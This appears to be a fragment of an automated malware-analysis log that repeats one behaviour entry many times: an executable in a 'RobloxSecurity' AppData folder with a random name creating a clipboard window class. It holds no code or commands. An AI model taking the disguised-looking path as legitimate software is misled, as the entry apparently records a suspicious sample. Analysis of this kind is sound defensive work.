Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
